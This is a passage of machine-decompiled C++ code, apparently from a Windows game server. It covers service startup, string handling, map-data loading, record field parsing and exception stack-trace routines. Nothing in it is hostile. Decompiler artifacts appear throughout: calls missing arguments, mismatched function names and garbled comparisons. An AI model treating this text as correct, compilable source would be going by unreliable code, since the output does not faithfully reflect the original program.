break; } } else { v3 = Singleton::getInstance(); WinService::onServiceStop(v3); } } //----- (005EB8B0) -------------------------------------------------------- bool __thiscall WinService::startDispatcher(WinService *this, String serviceName, bool (__cdecl *startCallBack)(), void (__cdecl *stopCallBack)()) { WinService *v4; // esi@1 char *v5; // eax@1 void (__cdecl *v6)(); // edx@1 bool result; // al@2 SERVICE_TABLE_ENTRYA dispatch; // [sp+4h] [bp-1Ch]@1 int v9; // [sp+Ch] [bp-14h]@1 int v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v4 = this; v11 = 0; String::operator_(&serviceName, &serviceName); v5 = LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)&serviceName); v6 = stopCallBack; dispatch.lpServiceName = v5; dispatch.lpServiceProc = WinService::serviceLoop; v9 = 0; v10 = 0; v4->serviceStartFunc = startCallBack; v4->serviceStopFunc = v6; if ( StartServiceCtrlDispatcherA(&dispatch) ) { v11 = -1; String::_String(&serviceName); result = 1; } else { GetLastError(); v11 = -1; String::_String(&serviceName); result = 0; } return result; } //----- (005EB9A0) -------------------------------------------------------- void __thiscall String::allocData(String *this, int strLen) { String *v2; // esi@1 int v3; // edx@2 void *v4; // eax@4 void *v5; // eax@6 unsigned int v6; // edx@6 int v7; // edi@6 int i; // ecx@6 v2 = this; if ( strLen > this->allocSize ) { v3 = this->allocSize; do v3 += 48; while ( strLen > v3 ); v4 = this->chData; this->allocSize = v3; if ( v4 ) operator delete(v4); v5 = operator new(v2->allocSize); v6 = v2->allocSize; v2->chData = (char *)v5; memset(v5, 0, 4 * (v6 >> 2)); v7 = (int)((char *)v5 + 4 * (v6 >> 2)); for ( i = v6 & 3; i; --i ) *(_BYTE *)v7++ = 0; } } //----- (005EBA00) -------------------------------------------------------- void __thiscall String::makeUpper(String *this) { _mbsupr(this->chData); } //----- (005EBA10) -------------------------------------------------------- String *__thiscall String::operator_(String *this, const char *str) { unsigned int v2; // eax@1 String *v3; // esi@1 char *v4; // edx@1 const char *v5; // ecx@1 char v6; // al@2 int v7; // ecx@3 int v8; // eax@3 char *v9; // ecx@4 v3 = this; v2 = strlen(str); v3->stringLength = v2; String::allocData(v3, v2 + 1); v4 = v3->chData; v5 = str; do { v6 = *v5++; *v4++ = v6; } while ( v6 ); v7 = v3->allocSize; v8 = 0; v3->stringLength = 0; if ( v7 > 0 ) { v9 = v3->chData; do { if ( !v9[v8] ) break; ++v8; ++v3->stringLength; } while ( v8 < v3->allocSize ); } return v3; } //----- (005EBA80) -------------------------------------------------------- void __thiscall String::String(String *this) { this->vfptr = (StringVtbl *)&String::_vftable_; this->chData = 0; this->stringLength = 0; this->allocSize = 0; String::allocData(this, 48); } // 688FA0: using guessed type int (__thiscall *String___vftable_)(void *p, char); //----- (005EBAA0) -------------------------------------------------------- void *__thiscall String::_scalar_deleting_destructor_(String *this, unsigned int a2) { void *v2; // esi@1 void *v3; // eax@1 v2 = this; v3 = this->chData; this->vfptr = (StringVtbl *)&String::_vftable_; if ( v3 ) operator delete(v3); if ( a2 & 1 ) operator delete(v2); return v2; } // 688FA0: using guessed type int (__thiscall *String___vftable_)(void *p, char); //----- (005EBAD0) -------------------------------------------------------- void __thiscall String::String(String *this, const char *str) { this->chData = 0; this->stringLength = 0; this->allocSize = 0; this->vfptr = (StringVtbl *)&String::_vftable_; String::operator_(this, str); } // 688FA0: using guessed type int (__thiscall *String___vftable_)(void *p, char); //----- (005EBB00) -------------------------------------------------------- String *__thiscall String::operator_(String *this, String *str) { String *v2; // esi@1 v2 = this; String::operator_(this, str->chData); return v2; } //----- (005EBB20) -------------------------------------------------------- bool __cdecl operator__(String *str1, String *str2) { return _mbscmp(str1->chData, str2->chData) == 0; } //----- (005EBB40) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x184u, 0x40u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005EBBF0) -------------------------------------------------------- void __thiscall MapDataBox::mdb_Load(MapDataBox *this) { MapDataBox *v1; // esi@1 CDataReader::HEAD *v2; // eax@1 unsigned int v3; // ebp@1 unsigned int v4; // edi@1 void *v5; // eax@3 int v6; // eax@5 unsigned int v7; // ST04_4@8 void *v8; // eax@8 int v9; // ecx@8 int v10; // eax@8 void *v11; // eax@12 void *v12; // edi@15 void *v13; // ebx@18 void *v14; // eax@21 unsigned int v15; // ecx@23 char *v16; // ecx@23 int v17; // edi@23 v1 = this; BinaryDataBox::bdb_ReadData(&this->mdb_BinData, "../9Data/Hero/MapInfo.shn"); v2 = v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead; v3 = 0; v1->mdb_maxmapid = 0; v4 = 0; if ( (signed int)v2->nNumOfRecord > 0 ) { do { if ( v4 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v5 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v4); else v5 = (void *)&v1->mdb_BinData.bdb_defaultblock; v6 = *(_WORD *)v5; if ( v1->mdb_maxmapid < v6 ) v1->mdb_maxmapid = v6; ++v4; } while ( (signed int)v4 < (signed int)v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ); } v7 = 4 * (v1->mdb_maxmapid++ + 1); v8 = operator new(v7); v9 = v1->mdb_maxmapid; v1->mdb_index = (MapInfo **)v8; v10 = 0; if ( v9 > 0 ) { do v1->mdb_index[v10++] = 0; while ( v10 < v1->mdb_maxmapid ); } if ( (signed int)v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord > 0 ) { do { if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v11 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v11 = (void *)&v1->mdb_BinData.bdb_defaultblock; v1->mdb_index[*(_WORD *)v11] = (MapInfo *)v11; if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v12 = (void *)&v1->mdb_BinData.bdb_defaultblock; if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v13 = (void *)&v1->mdb_BinData.bdb_defaultblock; if ( v3 < v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v14 = CDataReader::GetRecord(&v1->mdb_BinData.baseclass_0.baseclass_0, v3); else v14 = (void *)&v1->mdb_BinData.bdb_defaultblock; v15 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v15; v16 = (char *)&namestring + 256 * v15; *(_DWORD *)v16 = *(_DWORD *)((char *)v14 + 2); *((_DWORD *)v16 + 1) = *(_DWORD *)((char *)v14 + 6); *((_DWORD *)v16 + 2) = *(_DWORD *)((char *)v14 + 10); v16[12] = 0; v17 = *(_WORD *)v12; if ( !BTree::bt_Insert(&v1->mdb_btree, v16, *(_WORD *)v13) ) { AssertClass::ac_AssertFail(&shineassert, "MobDataBox::ReadData : memory leak for BTree", v17); ShineExit("MapDataBox::mdb_Load"); } ++v3; } while ( (signed int)v3 < (signed int)v1->mdb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ); } } //----- (005EBD70) -------------------------------------------------------- void __thiscall MapDataBox::MapDataBox(MapDataBox *this) { MapDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->mdb_BinData.baseclass_0); *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapName.n3_name[8] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapName.n3_name[4] = 0; *(_DWORD *)&v1->mdb_BinData.bdb_defaultblock.MapName.n3_name[0] = 0; memset((void *)&v1->mdb_BinData.bdb_defaultblock, 0, sizeof(v1->mdb_BinData.bdb_defaultblock)); BTree::BTree(&v1->mdb_btree); v1->mdb_index = 0; v1->mdb_maxmapid = 0; } //----- (005EBDE0) -------------------------------------------------------- void __thiscall MapDataBox::_MapDataBox(MapDataBox *this) { MapDataBox *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->mdb_index; if ( v2 ) operator delete(v2); BTree::_BTree(&v1->mdb_btree); CCharacterTitleData::_CCharacterTitleData(&v1->mdb_BinData.baseclass_0); } //----- (005EBE50) -------------------------------------------------------- int __cdecl InetAddress::WinSockStart(int MajorVer, int MinorVer) { __int16 v2; // ax@1 __int16 v3; // si@1 struct WSAData wsaData; // [sp+4h] [bp-194h]@1 unsigned int v6; // [sp+194h] [bp-4h]@1 v6 = (unsigned int)&wsaData ^ __security_cookie; LOBYTE(v2) = 0; HIBYTE(v2) = MinorVer; v3 = (unsigned __int8)MajorVer | v2; if ( WSAStartup((unsigned __int8)MajorVer | v2, &wsaData) ) return 0; if ( wsaData.wVersion != v3 ) { WSACleanup(); return 0; } return 1; } //----- (005EBED0) -------------------------------------------------------- char *__cdecl InetAddress::GetHostByName(char *name) { struct hostent *v1; // eax@1 char *result; // eax@2 v1 = gethostbyname(name); if ( v1 ) result = inet_ntoa(**(struct in_addr **)v1->h_addr_list); else result = 0; return result; } //----- (005EBEF0) -------------------------------------------------------- void __thiscall DropItemStruct::ItemGroup::ItemGroup(ORKeyList::KeyElement *this) { *(_QWORD *)&this->key.ort_Name[12] = 0i64; *(_QWORD *)&this->key.ort_Name[4] = 0i64; *(_DWORD *)&this->key.ort_Name[0] = 0; } //----- (005EBF10) -------------------------------------------------------- void __thiscall ORKeyList::_ORKeyList(ORKeyList *this) { _eh_vector_destructor_iterator_( this, 0x18u, 1024, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005EBF30) -------------------------------------------------------- void __thiscall ORKeyList::okl_AddKey(ORKeyList *this, ORToken *field, ORRecord *rec) { int v3; // eax@1 char *v4; // eax@2 v3 = this->okl_KeyNum; if ( v3 < 1024 ) { v4 = (char *)this + 24 * v3; *(_QWORD *)v4 = *(_QWORD *)&field->ort_Name[0]; *((_QWORD *)v4 + 1) = *(_QWORD *)&field->ort_Name[8]; *((_DWORD *)v4 + 4) = *(_DWORD *)&field->ort_Name[16]; this->okl_Element[this->okl_KeyNum++].rec = rec; } } //----- (005EBFC0) -------------------------------------------------------- void __thiscall ORKeyList::ORKeyList(ORKeyList *this) { ORKeyList *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x18u, 1024, (void (__thiscall *)(void *))DropItemStruct::ItemGroup::ItemGroup, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->okl_KeyNum = 0; } //----- (005EBFF0) -------------------------------------------------------- char __thiscall ORKeyList::okl_Sorting(ORKeyList *this) { int v1; // eax@1 char result; // al@3 v1 = this->okl_KeyNum; if ( v1 && v1 < 1024 ) { qsort(this, v1, 0x18u, ORKeyList::okl_KeyCompare); result = 1; } else { result = 0; } return result; } //----- (005EC020) -------------------------------------------------------- ORRecord *__thiscall ORKeyList::okl_Searching(ORKeyList *this, char *index) { ORKeyList *v2; // esi@1 void *v3; // eax@1 ORRecord *result; // eax@2 char indexkey[4]; // [sp+8h] [bp-18h]@1 int v6; // [sp+Ch] [bp-14h]@1 int v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+14h] [bp-Ch]@1 int v9; // [sp+18h] [bp-8h]@1 unsigned int v10; // [sp+1Ch] [bp-4h]@1 v10 = (unsigned int)indexkey ^ __security_cookie; v2 = this; v9 = 0; v8 = 0; v7 = 0; v6 = 0; *(_DWORD *)indexkey = 0; strncpy(indexkey, index, 0x14u); v3 = bsearch(indexkey, v2, v2->okl_KeyNum, 0x18u, ORKeyList::okl_KeyCompare); if ( v3 ) result = (ORRecord *)*((_DWORD *)v3 + 5); else result = 0; return result; } //----- (005EC0B0) -------------------------------------------------------- ORToken *__thiscall ORField::orf_ColumnName(ORField *this) { return ORColumnHeader::orch_GetColumnName(this->orf_Header); } //----- (005EC0C0) -------------------------------------------------------- char __thiscall ORFieldIndex::orf_Read(ORFieldIndex *this, ORTokenReader *token) { ORFieldIndex *v2; // esi@1 char *v3; // eax@1 char result; // al@2 ORToken *v5; // ST00_4@3 v2 = this; v3 = ORTokenReader::ortr_ReadString(token, 0); if ( v3 ) { v5 = v2->orfi_Index; *(_DWORD *)&v5->ort_Name[16] = 0; *(_DWORD *)&v5->ort_Name[12] = 0; *(_DWORD *)&v5->ort_Name[8] = 0; *(_DWORD *)&v5->ort_Name[4] = 0; *(_DWORD *)&v5->ort_Name[0] = 0; strncpy(v5->ort_Name, v3, 0x14u); result = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read index data"); result = 0; } return result; } //----- (005EC110) -------------------------------------------------------- char __thiscall ORFieldIndex::orf_CompareContent(ORFieldIndex *this, char *contentstring, ORToken *contentindex) { ORToken *v3; // eax@1 v3 = this->orfi_Index; return *(_DWORD *)&contentindex->ort_Name[0] == *(_DWORD *)&v3->ort_Name[0] && *(_DWORD *)&contentindex->ort_Name[4] == *(_DWORD *)&v3->ort_Name[4] && *(_DWORD *)&contentindex->ort_Name[8] == *(_DWORD *)&v3->ort_Name[8] && *(_DWORD *)&contentindex->ort_Name[12] == *(_DWORD *)&v3->ort_Name[12] && *(_DWORD *)&contentindex->ort_Name[16] == *(_DWORD *)&v3->ort_Name[16]; } //----- (005EC150) -------------------------------------------------------- int __thiscall ORFieldIndex::orf_Alloc(ORFieldDwrd *this, char *pnt) { this->orfd_Dwrd = (unsigned int *)pnt; return (int)LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)this->baseclass_0.orf_Header); } //----- (005EC170) -------------------------------------------------------- char __thiscall ORFieldString::orf_CompareContent(ORFieldString *this, char *contentstring, ORToken *contentindex) { char result; // al@2 if ( strcmp(this->orfs_String, contentstring) ) result = 0; else result = 1; return result; } //----- (005EC1C0) -------------------------------------------------------- char __thiscall ORFieldByte::orf_Read(ORFieldByte *this, ORTokenReader *token) { ORFieldByte *v2; // esi@1 int v3; // eax@1 char v4; // al@3 char result; // [sp+1h] [bp-1h]@1 v2 = this; result = 0; v3 = ORTokenReader::ortr_ReadNumber(token, &result); if ( result && v3 < 256 ) { *v2->orfb_Byte = v3; v4 = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read byte data"); v4 = 0; } return v4; } //----- (005EC210) -------------------------------------------------------- char __thiscall ORFieldByte::orf_CompareContent(ORFieldByte *this, char *contentstring, ORToken *contentindex) { ORFieldByte *v3; // esi@1 v3 = this; sscanf(contentstring, "%d"); return contentstring == (char *)*v3->orfb_Byte; } //----- (005EC240) -------------------------------------------------------- char __thiscall ORFieldWord::orf_Read(ORFieldWord *this, ORTokenReader *token) { ORFieldWord *v2; // esi@1 int v3; // eax@1 char v4; // al@3 char result; // [sp+1h] [bp-1h]@1 v2 = this; result = 0; v3 = ORTokenReader::ortr_ReadNumber(token, &result); if ( result && v3 < 65536 ) { *v2->orfw_Word = v3; v4 = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read word data"); v4 = 0; } return v4; } //----- (005EC290) -------------------------------------------------------- char __thiscall ORFieldWord::orf_CompareContent(ORFieldWord *this, char *contentstring, ORToken *contentindex) { ORFieldWord *v3; // esi@1 v3 = this; sscanf(contentstring, "%d"); return contentstring == (char *)*v3->orfw_Word; } //----- (005EC2C0) -------------------------------------------------------- char __thiscall ORFieldDwrd::orf_Read(ORFieldDwrd *this, ORTokenReader *token) { ORFieldDwrd *v2; // esi@1 int v3; // eax@1 char v4; // al@2 char result; // [sp+1h] [bp-1h]@1 v2 = this; result = 0; v3 = ORTokenReader::ortr_ReadNumber(token, &result); if ( result ) { *v2->orfd_Dwrd = v3; v4 = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read dwrd data"); v4 = 0; } return v4; } //----- (005EC310) -------------------------------------------------------- char __thiscall ORFieldDwrd::orf_CompareContent(ORFieldDwrd *this, char *contentstring, ORToken *contentindex) { ORFieldDwrd *v3; // esi@1 v3 = this; sscanf(contentstring, "%d"); return contentstring == *(char **)v3->orfd_Dwrd; } //----- (005EC340) -------------------------------------------------------- void *__thiscall AxialListNearGateFind::alngf_GetObject(ORFieldDwrd *this) { return this->orfd_Dwrd; } //----- (005EC350) -------------------------------------------------------- void __thiscall ORRecord::ORRecord(ORRecord *this) { this->orr_Buffer = 0; memset(this, 0, 0x800u); } //----- (005EC370) -------------------------------------------------------- void __thiscall ORRecord::l_Clone(ORRecord *this, ORRecord *rec) { memcpy(this, rec, 0x808u); memset(rec, 0, 0x800u); rec->orr_Buffer = 0; } //----- (005EC3A0) -------------------------------------------------------- void *__thiscall ORRecord::orr_GetBuffer(ORRecord *this) { return this->orr_Buffer; } //----- (005EC3B0) -------------------------------------------------------- void __thiscall ORRecord::orr_MakeBuffer(ORRecord *this, int recorelength) { ORRecord *v2; // esi@1 v2 = this; this->orr_Buffer = (char *)operator new(recorelength); v2->orr_Pointer = 0; } //----- (005EC3E0) -------------------------------------------------------- void __thiscall ORRecord::orr_AllocMemory(ORRecord *this, ORField *cell) { this->orr_Pointer += ((int (__stdcall *)(_DWORD))cell->vfptr->orf_Alloc)(&this->orr_Buffer[this->orr_Pointer]); } //----- (005EC410) -------------------------------------------------------- ORField *__thiscall ORRecord::orr_AllocObject(ORRecord *this, unsigned __int16 *hnd, unsigned __int16 type) { ORRecord *v3; // edi@1 signed int v4; // esi@1 ORField *result; // eax@4 v3 = this; v4 = 0; while ( this->orr_FieldArray[v4] ) { ++v4; if ( v4 >= 512 ) return 0; } switch ( type ) { case 1u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldIndex::_vftable_; v3->orr_FieldArray[v4] = result; break; case 2u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldString::_vftable_; v3->orr_FieldArray[v4] = result; break; case 3u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldByte::_vftable_; v3->orr_FieldArray[v4] = result; break; case 4u: result = (ORField *)operator new(0xCu); if ( !result ) goto LABEL_16; result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldWord::_vftable_; v3->orr_FieldArray[v4] = result; break; case 5u: result = (ORField *)operator new(0xCu); if ( !result ) { LABEL_16: v3->orr_FieldArray[v4] = 0; goto LABEL_17; } result[1].vfptr = 0; result->vfptr = (ORFieldVtbl *)&ORFieldDwrd::_vftable_; v3->orr_FieldArray[v4] = result; break; default: LABEL_17: result = v3->orr_FieldArray[v4]; break; } return result; } // 68901C: using guessed type int (__stdcall *ORFieldIndex___vftable_)(int contentstring, int contentindex); // 689048: using guessed type int (__stdcall *ORFieldString___vftable_)(int contentstring, int contentindex); // 68905C: using guessed type int (__stdcall *ORFieldByte___vftable_)(char *contentstring, int num); // 689088: using guessed type int (__stdcall *ORFieldWord___vftable_)(char *contentstring, int num); // 6890B4: using guessed type int (__stdcall *ORFieldDwrd___vftable_)(char *contentstring, int num); //----- (005EC520) -------------------------------------------------------- char __thiscall ORFieldString::orf_Read(ORFieldString *this, ORTokenReader *token) { ORFieldString *v2; // esi@1 char *v3; // ebx@1 char result; // al@2 unsigned __int16 v5; // ax@3 void *v6; // edi@3 unsigned int v7; // ecx@3 int v8; // edi@3 int i; // ecx@3 size_t v10; // eax@6 v2 = this; v3 = ORTokenReader::ortr_ReadString(token, 0); if ( v3 ) { v5 = (unsigned int)LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)v2->baseclass_0.orf_Header); v6 = v2->orfs_String; v7 = (unsigned int)v5 >> 2; memset(v6, 0, 4 * v7); v8 = (int)((char *)v6 + 4 * v7); for ( i = v5 & 3; i; --i ) *(_BYTE *)v8++ = 0; v10 = (size_t)LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber((ORErrorMessage *)v2->baseclass_0.orf_Header); strncpy(v2->orfs_String, v3, v10); result = 1; } else { ORTokenReader::ortr_SetError(token, "Cannot read string data"); result = 0; } return result; } //----- (005EC590) -------------------------------------------------------- void __thiscall ORRecord::_ORRecord(ORRecord *this) { ORRecord *v1; // edi@1 signed int v2; // esi@3 ORField *v3; // eax@4 void *v4; // ST00_4@5 v1 = this; if ( this->orr_Buffer ) operator delete(this->orr_Buffer); v2 = 0; do { v3 = v1->orr_FieldArray[v2]; if ( v3 ) { v4 = v1->orr_FieldArray[v2]; v3->vfptr = (ORFieldVtbl *)ORField::_vftable_; operator delete(v4); } ++v2; } while ( v2 < 512 ); } // 689008: using guessed type int (*ORField___vftable_[5])(); //----- (005EC5E0) -------------------------------------------------------- void __cdecl FillInStackFrame(_CONTEXT *pCtx) { memset(&s_stFrame, 0, sizeof(s_stFrame)); LODWORD(s_stFrame.AddrPC.Offset) = pCtx->Eip; s_stFrame.AddrPC.Offset = (unsigned int)s_stFrame.AddrPC.Offset; s_stFrame.AddrPC.Mode = 3; LODWORD(s_stFrame.AddrStack.Offset) = pCtx->Esp; s_stFrame.AddrStack.Offset = LODWORD(s_stFrame.AddrStack.Offset); s_stFrame.AddrStack.Mode = 3; LODWORD(s_stFrame.AddrFrame.Offset) = pCtx->Ebp; s_stFrame.AddrFrame.Offset = LODWORD(s_stFrame.AddrFrame.Offset); s_stFrame.AddrFrame.Mode = 3; } //----- (005EC650) -------------------------------------------------------- int __stdcall CH_ReadProcessMemory(void *__formal, unsigned __int64 qwBaseAddress, void *lpBuffer, unsigned int nSize, unsigned int *lpNumberOfBytesRead) { HANDLE v5; // eax@1 v5 = GetCurrentProcess(); return ReadProcessMemory(v5, (LPCVOID)qwBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead); } //----- (005EC680) -------------------------------------------------------- const char *__cdecl EHConvertSimpleException(unsigned int dwExcept) { const char *result; // eax@9 if ( dwExcept > 0xC000008D ) { if ( dwExcept > 0xC00000FD ) { if ( dwExcept != -529697949 ) return 0; result = "Microsoft C++ Exception"; } else { if ( dwExcept == -1073741571 ) { result = "EXCEPTION_STACK_OVERFLOW"; } else { switch ( dwExcept ) { case 0xC000008Eu: result = "EXCEPTION_FLT_DIVIDE_BY_ZERO"; break; case 0xC000008Fu: result = "EXCEPTION_FLT_INEXACT_RESULT"; break; case 0xC0000090u: result = "EXCEPTION_FLT_INVALID_OPERATION"; break; case 0xC0000091u: result = "EXCEPTION_FLT_OVERFLOW"; break; case 0xC0000092u: result = "EXCEPTION_FLT_STACK_CHECK"; break; case 0xC0000093u: result = "EXCEPTION_FLT_UNDERFLOW"; break; case 0xC0000094u: result = "EXCEPTION_INT_DIVIDE_BY_ZERO"; break; case 0xC0000095u: result = "EXCEPTION_INT_OVERFLOW"; break; case 0xC0000096u: result = "EXCEPTION_PRIV_INSTRUCTION"; break; default: return 0; } } } } else { if ( dwExcept == -1073741683 ) return "EXCEPTION_FLT_DENORMAL_OPERAND"; if ( dwExcept <= 0xC0000006 ) { if ( dwExcept == -1073741818 ) return "EXCEPTION_IN_PAGE_ERROR"; if ( dwExcept > 0x80000003 ) { if ( dwExcept == -2147483644 ) return "EXCEPTION_SINGLE_STEP"; if ( dwExcept == -1073741819 ) return "EXCEPTION_ACCESS_VIOLATION"; } else { if ( dwExcept == -2147483645 ) return "EXCEPTION_BREAKPOINT"; if ( dwExcept == -2147483647 ) return "EXCEPTION_GUARD_PAGE"; if ( dwExcept == -2147483646 ) return "EXCEPTION_DATATYPE_MISALIGNMENT"; } return 0; } switch ( dwExcept + 1073741816 ) { case 0x84u: result = "EXCEPTION_ARRAY_BOUNDS_EXCEEDED"; break; case 0x15u: result = "EXCEPTION_ILLEGAL_INSTRUCTION"; break; case 0x1Du: result = "EXCEPTION_NONCONTINUABLE_EXCEPTION"; break; case 0x1Eu: result = "EXCEPTION_INVALID_DISPOSITION"; break; case 0u: result = "EXCEPTION_INVALID_HANDLE"; break; default: return 0; } } return result; } //----- (005EC860) -------------------------------------------------------- int __cdecl EHInitSymbolEngine() { int result; // eax@1 DWORD v1; // eax@2 HANDLE v2; // eax@2 result = s_bSymEngInit; if ( !s_bSymEngInit ) { v1 = SymGetOptions(); SymSetOptions(v1 | 0x10); v2 = GetCurrentProcess(); result = SymInitialize(v2, 0, 1); s_bSymEngInit = result; } return result; } //----- (005EC890) -------------------------------------------------------- void __cdecl EHCleanupSymbolEngine() { HANDLE v0; // eax@2 if ( s_bSymEngInit == 1 ) { v0 = GetCurrentProcess(); SymCleanup(v0); s_bSymEngInit = 0; } } //----- (005EC8C0) -------------------------------------------------------- const char *__stdcall EHInternalGetStackTraceString(unsigned int dwOpts) { int v1; // eax@0 HANDLE v2; // ST0C_4@1 HANDLE v3; // eax@1 unsigned __int64 v4; // ST20_8@3 HANDLE v5; // eax@3 int v6; // edx@3 int v7; // edi@3 int v8; // esi@5 void *v9; // eax@9 void *v10; // eax@10 void *v11; // edx@10 char *v12; // edi@10 char v13; // cl@11 int v14; // edx@12 char v15; // cl@13 int v16; // esi@14 unsigned __int64 v17; // ST18_8@16 HANDLE v18; // eax@16 const char *result; // eax@20 int v20; // eax@22 unsigned __int64 v21; // ST18_8@26 HANDLE v22; // eax@26 int v23; // [sp-Ch] [bp-58h]@1 int dwModBase; // [sp+0h] [bp-4Ch]@3 int v25; // [sp+4h] [bp-48h]@3 unsigned __int64 dwDisp; // [sp+8h] [bp-44h]@16 int v27; // [sp+10h] [bp-3Ch]@29 int iLen; // [sp+14h] [bp-38h]@19 char *pSym; // [sp+18h] [bp-34h]@16 DWORD iLength; // [sp+1Ch] [bp-30h]@8 int bSWRet; // [sp+20h] [bp-2Ch]@1 int dwLineDisp; // [sp+24h] [bp-28h]@26 void *pchBaseName; // [sp+28h] [bp-24h]@9 char *szRet; // [sp+2Ch] [bp-20h]@20 int iCurr; // [sp+30h] [bp-1Ch]@5 int *v36; // [sp+34h] [bp-18h]@1 int v37; // [sp+3Ch] [bp-10h]@1 int (__cdecl *v38)(int, PVOID, int); // [sp+40h] [bp-Ch]@1 _UNKNOWN *v39; // [sp+44h] [bp-8h]@1 int v40; // [sp+48h] [bp-4h]@1 v39 = &unk_689400; v38 = _except_handler3; v37 = v1; v36 = &v23; v40 = 0; EHInitSymbolEngine(); v2 = GetCurrentThread(); v3 = GetCurrentProcess(); bSWRet = StackWalk64( 0x14Cu, v3, v2, &s_stFrame, &s_stContext, CH_ReadProcessMemory, SymFunctionTableAccess64, SymGetModuleBase64, 0); if ( bSWRet ) { if ( s_stFrame.AddrFrame.Offset ) { v4 = s_stFrame.AddrPC.Offset; v5 = GetCurrentProcess(); v7 = ((int (__stdcall *)(HANDLE, _DWORD, _DWORD))SymGetModuleBase64)(v5, v4, HIDWORD(v4)); dwModBase = v7; v25 = v6; if ( v7 || v6 ) { iCurr = 0; v8 = _wsprintfA(s_szBuff, "%04X:%08X", s_stContext.SegCs, s_stFrame.AddrPC.Offset); iCurr = v8; if ( (dwOpts & 1) == 1 ) { v8 += _wsprintfA( &s_szBuff[v8], " (0x%08X 0x%08X 0x%08X 0x%08X)", s_stFrame.Params[0], s_stFrame.Params[1], s_stFrame.Params[2], s_stFrame.Params[3]); iCurr = v8; } if ( (dwOpts & 2) == 2 ) { v8 += _wsprintfA(&s_szBuff[v8], ", "); iCurr = v8; iLength = GetModuleFileNameA((HMODULE)v7, s_szFName, 0x800u); if ( (signed int)iLength > 0 ) { strrchr(s_szFName, 92); pchBaseName = v9; if ( v9 ) { v10 = (char *)v9 + 1; pchBaseName = v10; v11 = v10; v12 = &s_szBuff[v8]; do { v13 = *(_BYTE *)v11; *v12 = *(_BYTE *)v11; v11 = (char *)v11 + 1; ++v12; } while ( v13 ); v14 = (int)((char *)v10 + 1); do { v15 = *(_BYTE *)v10; v10 = (char *)v10 + 1; } while ( v15 ); v16 = (int)((char *)v10 + v8 - v14); iCurr = v16; v8 = _wsprintfA(&s_szBuff[v16], ", ") + v16; iCurr = v8; } } } if ( (dwOpts & 4) == 4 ) { pSym = s_stSymbol; memset(s_stSymbol, 0, sizeof(s_stSymbol)); *(_DWORD *)s_stSymbol = 32; *(_DWORD *)&s_stSymbol[24] = 992; *(_QWORD *)&s_stSymbol[8] = s_stFrame.AddrPC.Offset; v17 = s_stFrame.AddrPC.Offset; v18 = GetCurrentProcess(); if ( SymGetSymFromAddr64(v18, v17, &dwDisp, (PIMAGEHLP_SYMBOL64)s_stSymbol) != 1 ) { LABEL_34: result = s_szBuff; szRet = s_szBuff; return result; } if ( dwOpts & 0xFFFFFFFB ) { v8 += _wsprintfA(&s_szBuff[v8], (LPCSTR)&stru_63450C); iCurr = v8; } iLen = lstrlenA(&s_stSymbol[28]); if ( iLen > 1486 - v8 ) { lstrcpynA(&s_szBuff[v8], &s_stSymbol[28], 2047 - v8); result = s_szBuff; szRet = s_szBuff; return result; } if ( dwDisp ) v20 = _wsprintfA(&s_szBuff[v8], " %s()+%04d byte(s)", &s_stSymbol[28], dwDisp); else v20 = 